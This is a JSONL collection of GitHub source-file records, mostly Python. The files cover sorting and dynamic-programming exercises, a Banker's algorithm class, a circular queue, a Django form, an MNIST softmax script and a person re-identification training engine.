+{"seq_id":"19954503646","text":"\ndef sort(arr):\n\n\tprint(arr)\n\n\tfor i in range(1, len(arr)):\n\n\t\tinsert = arr[i]\n\n\t\tpos = i\n\n\t\twhile pos > 0 and insert < arr[pos - 1]:\n\t\t\tarr[pos] = arr[pos - 1]\n\t\t\tpos -= 1\n\n\n\t\tarr[pos] = insert\n\n\tprint(\"Sorted:\", arr)\n\n\nsort([2, 5,1,0,5,73,87,3,98,0,34,8])\n","repo_name":"Victor-El/algorithms","sub_path":"insertion-sort.py","file_name":"insertion-sort.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"11184993276","text":"from datetime import date, datetime\nfrom dateutil.parser import parse\n\nfrom escoteirando.ext.logging import get_logger\n\n\nclass BaseDTO:\n\n LOG = get_logger()\n\n def __init__(self, from_dict: dict):\n if not isinstance(from_dict, dict):\n raise BaseDTOException(\n '{0}: ERROR - from_dict is invalid: {1}'.format(self.__class__,\n from_dict))\n self.origin = from_dict\n\n def get(self, field_name: str, field_type):\n if field_name in self.origin:\n if field_type == date:\n return self._get_date(self.origin[field_name])\n elif field_type == datetime:\n return self._get_datetime(self.origin[field_name])\n else:\n try:\n return field_type(self.origin[field_name])\n except Exception as exc:\n self.LOG.exception('%s: ERROR - invalid parsing %s as %s: %s',\n self.__class__,\n self.origin[field_name],\n field_type,\n exc)\n\n else:\n self.LOG.error('%s: ERROR - field %s inexistent in %s',\n self.__class__,\n field_name,\n self.origin)\n\n return None\n\n @classmethod\n def _get_date(cls, value) -> datetime:\n return cls._get_datetime(value).date\n\n @classmethod\n def _get_datetime(cls, value) -> datetime:\n try:\n return parse(value)\n except Exception as exc:\n cls.LOG.exception('%s: ERROR - DateTime parsing: %s',\n cls,\n exc)\n return datetime.min\n\n # \"dataNascimento\": \"Tue Sep 13 2011 00: 00: 00 GMT+0000 (UTC)\",\n # \"dataValidade\": \"2020-01-01T00: 00: 00.000Z\",\n\n\nclass BaseDTOException(Exception):\n pass\n","repo_name":"escoteirando/escoteirando.org","sub_path":"escoteirando/domain/models/dtos/base_dto.py","file_name":"base_dto.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"22291454422","text":"from typing import Any, Dict, List, Type, TypeVar\n\nimport attr\n\nfrom ..models.credential import Credential\nfrom ..models.ld_proof_vc_detail_options import LDProofVCDetailOptions\n\nT = TypeVar(\"T\", bound=\"LDProofVCDetail\")\n\n\n@attr.s(auto_attribs=True)\nclass LDProofVCDetail:\n \"\"\"\n Attributes:\n credential (Credential):\n options (LDProofVCDetailOptions):\n \"\"\"\n\n credential: Credential\n options: LDProofVCDetailOptions\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n credential = self.credential.to_dict()\n\n options = self.options.to_dict()\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"credential\": credential,\n \"options\": options,\n }\n )\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n d = src_dict.copy()\n credential = Credential.from_dict(d.pop(\"credential\"))\n\n options = LDProofVCDetailOptions.from_dict(d.pop(\"options\"))\n\n ld_proof_vc_detail = cls(\n credential=credential,\n options=options,\n )\n\n ld_proof_vc_detail.additional_properties = d\n return ld_proof_vc_detail\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"Indicio-tech/acapy-client","sub_path":"acapy_client/models/ld_proof_vc_detail.py","file_name":"ld_proof_vc_detail.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"1"}
+{"seq_id":"18227835505","text":"# -*- coding:utf-8 -*-\n# 仔细体会F(N) 和 F(N-1) F(N-2)的关系。还是斐波那契\nclass Solution:\n def rectCover(self, number):\n # write code here\n if number == 1:\n return 1\n if number == 2:\n return 2\n\n pre = 1\n cur = 2\n res = 0\n while number > 2:\n res = pre + cur\n pre = cur\n cur = res\n number -= 1\n return res","repo_name":"wwlwwww/leetcodeSolution","sub_path":"old_bak/python/剑指offer/矩形覆盖.py","file_name":"矩形覆盖.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"1892692149","text":"'''\nCreated on 10/11/2009\n@author: Nahuel\n'''\n\nfrom matrix.Matrix import Matrix\nfrom exceptions.OSException import OSException\n\nclass BankersAlgorithm(object):\n '''\n Implements the Banker's Algorithm, for deadlock avoidance.\n \n @ivar _allocation: matrix of resources assigned to a process.\n @ivar _max: matrix that saves the maximum resource's instances\n that a process can request.\n @ivar _available: for each kind of resource, the instances available\n at this moment.\n @ivar _need: matrix that indicates the instances needed for each \n process to complete its task. need = max - allocation.\n @ivar _totalRes : tuple with total amount of instances of \n each resource.\n @ivar _total_res: tuple with the number of total resources.\n @ivar _invalid_rows: rows that banker doesn't consider.\n '''\n def __init__(self, avail):\n '''\n Constructor of BankersAlgorithm.\n \n @param avail: tuple with the number of total resources.\n '''\n res_num = len(avail)\n self._total_res = avail\n self._allocation = Matrix((0, res_num))\n self._available = Matrix((1, res_num))\n self._max = Matrix((0, res_num))\n self._need = self._max.substract(self._allocation)\n self._invalid_rows = []\n self._available.fill_row(1, avail)\n self._allocation.fill_with(0)\n \n def get_need(self):\n '''Getter of _need.'''\n return self._need\n \n def get_max(self):\n '''Getter of _max.'''\n return self._max\n \n def get_available(self):\n '''Getter of _available.'''\n return self._available\n \n def get_allocation(self):\n '''Getter of _allocation.'''\n return self._allocation\n \n def get_invalid_rows(self):\n '''Getter of _invalid_rows.'''\n return self._invalid_rows\n \n def get_total_resources(self):\n '''Getter of _total_res.'''\n return self._total_res\n \n def get_res_num(self):\n '''How many types of resources there are in the system.'''\n return len(self._total_res)\n \n def set_available(self, new_avail):\n '''Setter of _available.'''\n self._available = new_avail\n \n def set_need(self, new_need):\n '''Setter of _need.'''\n self._need = new_need\n \n def set_allocation(self, new_alloc):\n '''Setter of _allocation.'''\n self._allocation = new_alloc\n \n def set_max(self, new_max):\n '''Setter of _max.'''\n self._max = new_max\n \n def calculate_need(self):\n '''Keep _need = _max - _allocation'''\n self.set_need(self.get_max().substract(self.get_allocation()))\n\n def request_algorithm(self, pid, request):\n '''\n Evaluate a request for the process 'pid'. If this request isn't\n possible, returns False, and the cpu manages this situation.\n \n @param pid: the ID of the process that do the request.\n @param request: tuple of resource instances.\n ''' \n new_need = self.get_need().copy()\n new_allocation = self.get_allocation().copy()\n new_available = self.get_available().copy()\n if request > new_need.row_to_tuple(pid):\n raise OSException(\"Error: Request more than need declared.\")\n elif request > new_available.row_to_tuple(1): \n return False\n else:\n self.get_available().substract_row(1, request)\n self.get_allocation().sum_row(pid, request)\n self.get_need().substract_row(pid, request)\n if not self.check_available() or not self.safety_algorithm(\\\n self.get_need(), self.get_allocation(), self.get_available()):\n self.set_need(new_need) #restore previous state\n self.set_allocation(new_allocation)\n self.set_available(new_available)\n return False\n else: \n return True\n \n def check_available(self):\n '''Check if an assign leave some resource in a value less than 0.'''\n for i in range(1, self.get_available().cols() + 1):\n if self.get_available().at((1, i)) < 0: \n return False\n return True\n#-------------------------Safety Algorithm--------------------------------\n\n def safety_algorithm(self, need, allocation, available):\n '''\n Finds a safe sequence and then indicates if the system\n keeps safe or it turns unsafe. Returns a boolean.\n '''\n work = available.copy()\n finish = Matrix((1, self.get_max().rows()))\n self.fill_valid_rows(finish)\n while not finish.has_all(True) \\\n and self.check_condition_row(need, work.row_to_tuple(1), finish):\n for i in range(1, finish.cols() + 1):\n if need.row_to_tuple(i) <= work.row_to_tuple(1) \\\n and not finish.at((1, i)):\n work.sum_row(1, allocation.row_to_tuple(i))\n finish.at_put((1, i), True)\n return finish.has_all(True)\n \n def fill_valid_rows(self, finish):\n '''\n Fill with True those rows that are invalid and don't participate\n in the result, then the banker think that process this rows.\n '''\n for i in range(1, finish.cols() + 1):\n finish.at_put((1, i), i in self.get_invalid_rows())\n return finish\n \n def check_condition_row(self, need, work, finish):\n '''Check a condition necessary for the security algorithm.'''\n for i in range(1, need.cols() + 1):\n if need.row_to_tuple(i) <= work and not finish.at((1, i)): \n return True\n return False\n \n def new_process_come(self, max_res):\n '''\n A new process has come, and the Banker's Algorithm needs to know\n the max resources of this process. Add necessary data to the matrix.\n \n @precondition: the process id corresponds with the new row.\n '''\n self.get_allocation().new_row(tuple([0] * self.get_res_num()))\n self.get_max().new_row(max_res)\n self.calculate_need()\n \n def do_free(self, pcb):\n '''\n Update the resources because a process reachs a free instruction.\n Compute the new max for this process.\n \n @param pcb: the PCB of the process that executes \"free\" instruction\n '''\n self.get_available().sum_row(1, \\\n self.get_allocation().row_to_tuple(pcb.get_pid()))\n self.get_allocation().fill_row(pcb.get_pid(), \\\n tuple([0] * self.get_res_num()))\n self.calculate_and_set_new_max(pcb)\n self.calculate_need()\n \n def calculate_new_max(self, pcb):\n '''\n Sum all the request until reach a free instruction.\n This method is called for first time by the operating system,\n then is called after each free instruction by the CPU.\n '''\n detected_free = False\n pcb.inc_pc()\n i = pcb.get_pc()\n new_max = [0] * self.get_res_num()\n while not detected_free and i < len(pcb.get_process().get_instructions()):\n inst = pcb.get_instruction_at(i)\n if inst.is_free(): \n detected_free = True\n elif inst.is_request():\n req = inst.get_args_as_int()\n for x in range(len(new_max)):\n new_max[x] = new_max[x] + req[x]\n i += 1\n pcb.dec_pc()\n if self.check_wrong_max(tuple(new_max)): \n return tuple(new_max)\n else: \n raise OSException('Error: Request more resources than total available.')\n \n def check_wrong_max(self, max_res):\n '''\n Verify the max requested resources of a process, comparing with\n total resources.\n '''\n return self.get_total_resources() >= max_res\n \n def calculate_and_set_new_max(self, pcb):\n '''Compute the new max for a process, and also sets to it.'''\n self.get_max().fill_row(pcb.get_pid(), self.calculate_new_max(pcb))\n \n def process_finished(self, pid):\n '''A process has finished, and the corresponding data will be ignored.'''\n values = tuple([0]* self.get_res_num())\n self.get_allocation().fill_row(pid, values)\n self.get_need().fill_row(pid, values)\n self.get_max().fill_row(pid, values)\n self.get_invalid_rows().append(pid) #the banker will not consider this row\n \n def loader_come(self, max):\n '''Enable the process loader in the banker.'''\n try:\n self.get_invalid_rows().remove(1)\n except ValueError:\n self.new_process_come(max)\n return\n self.get_allocation().fill_row(1, tuple([0] * self.get_res_num()))\n self.get_max().fill_row(1, max)\n self.calculate_need()","repo_name":"ngarbezza/tpi-so1-tp","sub_path":"src/opsys/deadlock/BankersAlgorithm.py","file_name":"BankersAlgorithm.py","file_ext":"py","file_size_in_byte":8919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"27536039909","text":"# -*- coding: utf-8 -*-\nfrom typing import List\n\nfrom pycobalt.language import Token\nfrom .constant_types import PronounType\nfrom .language import Sentence\nfrom .language import pronouns\nfrom .references import Substitution, Reference\n\n\ndef substitute(sentences: List[Sentence],\n substitutions: List[Substitution]\n ) -> List[str]:\n for sentence in sentences:\n for substitution in substitutions:\n if sentence.index == substitution.sentence_index:\n __substitute_coreference(substitution.original,\n substitution.reference,\n sentence)\n return [t.text.strip() for t in sentences]\n\n\ndef __substitute_coreference(original_tokens: List[Token],\n reference: Reference,\n sentence: Sentence\n ) -> None:\n original_term = \" {} \".format(' '.join(t.word for t in original_tokens))\n reference_term = \" {} \".format(' '.join(t.word for t in reference.tokens))\n\n new_text = \" {} \".format(sentence.text)\n\n if pronouns.pronoun_type(original_tokens[0].lower) == PronounType.POSSESSIVE:\n new_text = new_text.replace(original_term, reference_term.rstrip() + \"'s \")\n else:\n new_text = new_text.replace(original_term, reference_term)\n\n sentence.text = new_text\n","repo_name":"Lambda-3/PyCobalt","sub_path":"pycobalt/substitution.py","file_name":"substitution.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"1"}
+{"seq_id":"9812872775","text":"# Use operator (and) to combine 2 condition or more\n\na = 100\nb = 250\nc = 300\n\nif a > c and b > c : \n print (\"A is bigger than B, B is bigger than C\")\n\nelif a < c and b < c : \n print (\"A is smaller than B, B is smaller than C\")\n\nelse :\n print (\"Error\")\n","repo_name":"faishal-lib/Python","sub_path":"Basic Python/Python If...Else/and_condition.py","file_name":"and_condition.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"24720121093","text":"from django.forms import ModelForm\n\nfrom .models import Blog\n\n\nclass BootstrapModelForm(ModelForm):\n def __init__(self, *args, **kwargs):\n super(BootstrapModelForm, self).__init__(*args, **kwargs)\n for field in iter(self.fields):\n self.fields[field].widget.attrs.update({\n 'class': 'form-control'\n })\n\n\nclass BlogForm(BootstrapModelForm):\n class Meta:\n model = Blog\n exclude = ['posted', 'created_on']\n","repo_name":"okielife/okie.life","sub_path":"blog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"23790626392","text":"import matplotlib.pyplot as plt\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.examples.tutorials.mnist import input_data as mnist_data\nprint(\"Tensorflow version \" + tf.__version__)\ntf.set_random_seed(0)\n\n# neural network with 1 layer of 10 softmax neurons\n#\n# · · · · · · · · · · (input data, flattened pixels) X [batch, 784] # 784 = 28 * 28\n# \\x/x\\x/x\\x/x\\x/x\\x/ -- fully connected layer (softmax) W [784, 10] b[10]\n# · · · · · · · · Y [batch, 10]\n\n# The model is:\n#\n# Y = softmax( X * W + b)\n# X: matrix for 100 grayscale images of 28x28 pixels, flattened (there are 100 images in a mini-batch)\n# W: weight matrix with 784 lines and 10 columns\n# b: bias vector with 10 dimensions\n# +: add with broadcasting: adds the vector to each line of the matrix (numpy)\n# softmax(matrix) applies softmax on each line\n# softmax(line) applies an exp to each value then divides by the norm of the resulting line\n# Y: output matrix with 100 lines and 10 columns\n\n# Download images and labels into mnist.test (10K images+labels) and mnist.train (60K images+labels)\nmnist = mnist_data.read_data_sets(\"data\", one_hot=True, reshape=False, validation_size=0)\n\nbatch_size = 128\neval_every = 5\n\n# input X: 28x28 grayscale images, the first dimension (None) will index the images in the mini-batch\nX = tf.placeholder(tf.float32, [None, 28, 28, 1])\n# correct answers will go here\nY_ = tf.placeholder(tf.float32, [None, 10])\n# weights W[784, 10] 784=28*28\nW = tf.Variable(tf.zeros([784, 10]))\n# biases b[10]\nb = tf.Variable(tf.zeros([10]))\n\n# flatten the images into a single line of pixels\n# -1 in the shape definition means \"the only possible dimension that will preserve the number of elements\"\nXX = tf.reshape(X, [-1, 784])\n\n# The model\nY = tf.nn.softmax(tf.matmul(XX, W) + b)\n\n# loss function: cross-entropy = - sum( Y_i * log(Yi) )\n# Y: the computed output vector\n# Y_: the desired output vector\n\n# cross-entropy\n# log takes the log of each element, * multiplies the tensors element by element\n# reduce_mean will add all the components in the tensor\n# so here we end up with the total cross-entropy for all images in the batch\ncross_entropy = -tf.reduce_mean(Y_ * tf.log(Y)) * 1000# normalized for batches of 100 images,\n # *10 because \"mean\" included an unwanted division by 10\n\n# accuracy of the trained model, between 0 (worst) and 1 (best)\ncorrect_prediction = tf.equal(tf.argmax(Y, 1), tf.argmax(Y_, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n# training, learning rate = 0.005\ntrain_step = tf.train.GradientDescentOptimizer(0.0005).minimize(cross_entropy)\n\n# matplotlib visualisation\nallweights = tf.reshape(W, [-1])\nallbiases = tf.reshape(b, [-1])\n# init\ninit = tf.global_variables_initializer()\nsess = tf.Session()\nsess.run(init)\n# Start training loop\ntrain_loss = []\ntrain_acc = []\ntest_acc = []\n\nfor i in range(500):\n # training on batches of 100 images with 100 labels\n batch_X, batch_Y = mnist.train.next_batch(batch_size)\n train_dict = {X: batch_X, Y_: batch_Y}\n\n sess.run(train_step, feed_dict=train_dict)\n temp_train_loss, temp_train_preds = sess.run([cross_entropy , correct_prediction], feed_dict=train_dict)\n temp_train_acc = sess.run(accuracy, feed_dict=train_dict)\n acc_and_loss = [(i+1), temp_train_loss, temp_train_acc]\n acc_and_loss = [np.round(x,2) for x in acc_and_loss]\n print('Generation # {}. Train Loss: {:.2f}. Train Acc : {:.2f}'.format(*acc_and_loss))\n if((i) % 10 == 0):\n train_loss.append(temp_train_loss)\n train_acc.append(temp_train_acc * 100)\n \n \na = int(len(mnist.test.images))\nfor i in range(int(a/20)):\n eval_X, eval_Y = mnist.test.next_batch(20)\n test_dict = {X: eval_X, Y_: eval_Y}\n \n test_preds = sess.run(correct_prediction, feed_dict=test_dict)\n temp_test_acc= sess.run(accuracy, feed_dict=test_dict)\n # print(i, temp_test_acc)\n # Record and print results\n if((i) % 10 == 0):\n test_acc.append(temp_test_acc * 100)\n\n# Matlotlib code to plot the loss and accuracies\neval_indices = range(0, 500, 10)\n# Plot loss over time\nplt.plot(eval_indices, train_loss, 'k-')\nplt.title('Softmax Loss per Generation')\nplt.xlabel('Generation')\nplt.ylabel('Softmax Loss')\nplt.show() \n\n# Plot train and test accuracy\nplt.ylim(0, 100)\nplt.plot(eval_indices, train_acc, 'k-', label='Train Set Accuracy')\nplt.plot(eval_indices, test_acc, 'r-', label='Test Set Accuracy')\nplt.title('Train and Test Accuracy')\nplt.xlabel('Generation')\nplt.ylabel('Accuracy')\nplt.legend(loc='lower right')\nplt.show()\n# to save the animation as a movie, add save_movie=True as an argument to datavis.animate\n# to disable the visualisation use the following line instead of the datavis.animate line\n# for i in range(2000+1): training_step(i, i % 50 == 0, i % 10 == 0)\n\n\n# final max test accuracy = 0.9268 (10K iterations). Accuracy should peak above 0.92 in the first 2000 iterations.\n","repo_name":"parahaoer/deep-learning","sub_path":"mnist_1.0_softmax学习笔记/mnist_1.0_softmax.py","file_name":"mnist_1.0_softmax.py","file_ext":"py","file_size_in_byte":5194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"8543475222","text":"from singly_linkedlist import Node\n\n\nclass CircularQueue:\n def __init__(self) -> None:\n self.tail = None\n self.size = 0\n\n def __len__(self) -> int:\n return self.size\n\n def is_empty(self) -> bool:\n return self.size == 0\n\n def first(self):\n if self.is_empty():\n raise Exception('Empty queue!')\n return self.tail.next.value\n\n def dequeue(self):\n if self.is_empty():\n raise Exception('Empty queue!')\n\n old_node = self.tail.next\n if self.size == 1:\n self.tail = None\n else:\n self.tail = old_node.next\n self.size -= 1\n\n return old_node.value\n\n def enqueue(self, value):\n new_node = Node(value)\n\n if self.is_empty():\n new_node.next = new_node\n else:\n self.tail.next = new_node\n new_node.next = self.tail.next\n\n self.tail = new_node\n self.size += 1\n\n def rotate(self):\n \"\"\"Rotate front element to the back of the queue.\"\"\"\n if self.size > 0:\n # heare we simply need to update the tail pointer.\n self.tail = self.tail.next # old head becomes new tail\n\n ","repo_name":"JinkaiGUAN/Python-Office","sub_path":"1-DataStructure/2-LinkedList/circularly_linkedlist.py","file_name":"circularly_linkedlist.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"1882862987","text":"# encoding: utf-8\n\"\"\"\n@author: lorenzo\n@contact: baiyingpoi123@gmail.com\n\"\"\"\nimport os\nimport logging\nimport torch\nfrom collections import OrderedDict\n\nfrom playreid.data import build_reid_test_loader\nfrom playreid.evaluation import inference_on_dataset, print_csv_format, ReidEvaluator\nfrom playreid.evaluation.testing import flatten_results_dict\nfrom playreid.solver import build_lr_scheduler, build_optimizer\nfrom playreid.utils import comm\nfrom playreid.utils.checkpoint import Checkpointer, PeriodicCheckpointer\nfrom playreid.utils.collect_env import collect_env_info\nfrom playreid.utils.env import seed_all_rng\nfrom playreid.utils.file_io import PathManager\nfrom playreid.utils.logger import setup_logger\nfrom playreid.utils.params import ContiguousParams\nfrom playreid.utils.events import (\n CommonMetricPrinter,\n EventStorage,\n JSONWriter,\n TensorboardXWriter\n)\n\n__all__ = [\"default_setup\", \"do_train\", \"do_test\", \"auto_scale_hyperparams\"]\n\n\ndef default_setup(cfg, args, log_name=None):\n \"\"\"\n Perform some basic common setups at the beginning of a job, including:\n 1. Set up the detectron2 logger\n 2. Log basic information about environment, cmdline arguments, and config\n 3. Backup the config to the output directory\n Args:\n cfg (CfgNode): the full config to be used\n args (argparse.NameSpace): the command line arguments to be logged\n log_name (str): the log file name, it will be 'log.txt' by default\n \"\"\"\n output_dir = cfg.OUTPUT_DIR\n if comm.is_main_process() and output_dir:\n PathManager.mkdirs(output_dir)\n\n rank = comm.get_rank()\n # setup_logger(output_dir, distributed_rank=rank, name=\"fvcore\")\n if log_name is None:\n logger = setup_logger(output_dir, distributed_rank=rank)\n else:\n logger = setup_logger(os.path.join(output_dir, log_name), distributed_rank=rank)\n\n logger.info(\"Rank of current process: {}. World size: {}\".format(rank, comm.get_world_size()))\n logger.info(\"Environment info:\\n\" + collect_env_info())\n\n logger.info(\"Command line arguments: \" + str(args))\n if hasattr(args, \"config_file\") and args.config_file != \"\":\n logger.info(\n \"Contents of args.config_file={}:\\n{}\".format(\n args.config_file, PathManager.open(args.config_file, \"r\").read()\n )\n )\n\n logger.info(\"Running with full config:\\n{}\".format(cfg))\n if comm.is_main_process() and output_dir:\n # Note: some of our scripts may expect the existence of\n # config.yaml in output directory\n path = os.path.join(output_dir, \"config.yaml\")\n with PathManager.open(path, \"w\") as f:\n f.write(cfg.dump())\n logger.info(\"Full config saved to {}\".format(os.path.abspath(path)))\n\n # make sure each worker has a different, yet deterministic seed if specified\n seed_all_rng()\n\n # cudnn benchmark has large overhead. It shouldn't be used considering the small size of\n # typical validation set.\n if not (hasattr(args, \"eval_only\") and args.eval_only):\n torch.backends.cudnn.benchmark = cfg.CUDNN_BENCHMARK\n\n\ndef get_evaluator(cfg, dataset_name, output_dir=None):\n data_loader, num_query = build_reid_test_loader(cfg, dataset_name=dataset_name)\n return data_loader, ReidEvaluator(cfg, num_query, output_dir)\n\n\ndef do_train(cfg, model, data_loader, resume=False, qat=False):\n logger = logging.getLogger(__name__)\n logger.info(\"Model:\\n{}\".format(model))\n data_loader_iter = iter(data_loader)\n model.train()\n optimizer, param_wrapper = build_optimizer(cfg, model, contiguous=False if qat == True else True)\n iters_per_epoch = len(data_loader.dataset) // cfg.SOLVER.IMS_PER_BATCH\n scheduler = build_lr_scheduler(cfg, optimizer, iters_per_epoch)\n checkpointer = Checkpointer(\n model,\n cfg.OUTPUT_DIR,\n save_to_disk=comm.is_main_process(),\n optimizer=optimizer,\n **scheduler\n )\n\n start_epoch = (checkpointer.resume_or_load(cfg.MODEL.WEIGHTS, resume=resume).get(\"epoch\", -1) + 1)\n iteration = start_iter = start_epoch * iters_per_epoch\n \n max_epoch = cfg.SOLVER.MAX_EPOCH\n max_iter = max_epoch * iters_per_epoch\n warmup_iters = cfg.SOLVER.WARMUP_ITERS\n delay_epochs = cfg.SOLVER.DELAY_EPOCHS\n\n periodic_checkpointer = PeriodicCheckpointer(checkpointer, cfg.SOLVER.CHECKPOINT_PERIOD, max_epoch)\n if len(cfg.DATASETS.TESTS) == 1:\n metric_name = \"metric\"\n else:\n metric_name = cfg.DATASETS.TESTS[0] + \"/metric\"\n \n writers = (\n [\n CommonMetricPrinter(max_iter),\n JSONWriter(os.path.join(cfg.OUTPUT_DIR, \"metrics.json\")),\n TensorboardXWriter(cfg.OUTPUT_DIR)\n ]\n if comm.is_main_process()\n else []\n )\n\n logger.info(\"Start training from epoch {}\".format(start_epoch))\n with EventStorage(start_iter) as storage:\n for epoch in range(start_epoch, max_epoch):\n storage.epoch = epoch\n # print(f\"{epoch}, {optimizer.param_groups[0]['lr']}\")\n for _ in range(iters_per_epoch):\n data = next(data_loader_iter)\n storage.iter = iteration\n\n loss_dict = model(data)\n losses = sum(loss_dict.values())\n assert torch.isfinite(losses).all(), loss_dict\n\n loss_dict_reduced = {k: v.item() for k, v in comm.reduce_dict(loss_dict).items()}\n losses_reduced = sum(loss for loss in loss_dict_reduced.values())\n if comm.is_main_process():\n storage.put_scalars(total_loss=losses_reduced, **loss_dict_reduced)\n\n optimizer.zero_grad()\n losses.backward()\n optimizer.step()\n storage.put_scalar(\"lr\", optimizer.param_groups[0][\"lr\"], smoothing_hint=False)\n \n if isinstance(param_wrapper, ContiguousParams):\n param_wrapper.assert_buffer_is_valid()\n if iteration - start_iter > 5 and \\\n ((iteration + 1) % 200 == 0 or iteration == max_iter - 1) and \\\n ((iteration + 1) % iters_per_epoch != 0):\n for writer in writers:\n writer.write()\n \n iteration += 1\n\n if iteration <= warmup_iters:\n scheduler[\"warmup_sched\"].step()\n \n # Write metrics after each epoch\n for writer in writers:\n writer.write()\n\n if iteration > warmup_iters and (epoch + 1) > delay_epochs:\n scheduler[\"lr_sched\"].step()\n\n if (\n cfg.TEST.EVAL_PERIOD > 0\n and (epoch + 1) % cfg.TEST.EVAL_PERIOD == 0\n and iteration != max_iter - 1\n ):\n results = do_test(cfg, model)\n\n # add validation metrics at each epoch, the test results are not dumped to EventStorage\n # if comm.is_main_process():\n # for k in results:\n # writers[-1]._writer.add_scalar(k, results[k], epoch)\n else:\n results = {}\n flatten_results = flatten_results_dict(results)\n\n metric_dict = dict(metric=flatten_results[metric_name] if metric_name in flatten_results else -1)\n periodic_checkpointer.step(epoch, **metric_dict)\n\n\ndef do_test(cfg, model):\n logger = logging.getLogger(__name__)\n results = OrderedDict()\n for idx, dataset_name in enumerate(cfg.DATASETS.TESTS):\n logger.info(\"Prepare testing set\")\n try:\n data_loader, evaluator = get_evaluator(cfg, dataset_name)\n except NotImplementedError:\n logger.warn(\"No evaluator found. implement its `build_evaluator` method.\")\n results[dataset_name] = {}\n continue\n results_i = inference_on_dataset(model, data_loader, evaluator, flip_test=cfg.TEST.FLIP.ENABLED)\n results[dataset_name] = results_i\n\n if comm.is_main_process():\n assert isinstance(\n results, dict\n ), \"Evaluator must return a dict on the main process. Got {} instead.\".format(results)\n logger.info(\"Evaluation results for {} in csv format:\".format(dataset_name))\n results_i['dataset'] = dataset_name\n print_csv_format(results_i)\n \n if len(results) == 1:\n results = list(results.values())[0]\n\n return results\n\n\ndef auto_scale_hyperparams(cfg, num_classes):\n \"\"\"\n This is used for auto-computation actual training iterations,\n because some hyper-param, such as MAX_ITER, means training epochs rather than iters,\n so we need to convert specific hyper-param to training iterations.\n \"\"\"\n cfg = cfg.clone()\n frozen = cfg.is_frozen()\n cfg.defrost()\n\n # If you don't hard-code the number of classes, it will compute the number automatically\n if cfg.MODEL.HEADS.NUM_CLASSES == 0:\n output_dir = cfg.OUTPUT_DIR\n cfg.MODEL.HEADS.NUM_CLASSES = num_classes\n logger = logging.getLogger(__name__)\n logger.info(f\"Auto-scaling the num_classes={cfg.MODEL.HEADS.NUM_CLASSES}\")\n\n # Update the saved config file to make the number of classes valid\n if comm.is_main_process() and output_dir:\n # Note: some of our scripts may expect the existence of\n # config.yaml in output directory\n path = os.path.join(output_dir, \"config.yaml\")\n with PathManager.open(path, \"w\") as f:\n f.write(cfg.dump())\n\n if frozen: cfg.freeze()\n\n return cfg","repo_name":"LorenzoSun-V/lorenzo-reid-baseline","sub_path":"playreid/engine/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":9673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"26205044056","text":"from typing import List\n\nclass Solution:\n def lengthOfLIS(self, nums: List[int]) -> int:\n\n dp = [0] * len(nums)\n dp[0] = 1\n\n for i in range(len(dp)):\n dp[i] = 1\n for j in range(i-1,-1,-1):\n dp[i] = max(dp[i], dp[j] + 1) if nums[i] > nums[j] else dp[i]\n\n # print(dp)\n return max(dp)\n\n\nsol = Solution()\n## time complexity - O(n^2)\n## space complexity - O(n)\nprint(sol.lengthOfLIS([1,3,6,7,9,4,10,5,6]))\n","repo_name":"anushkumarv/leetcode","sub_path":"dynamic programming/longest_increasing_subsequence.py","file_name":"longest_increasing_subsequence.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
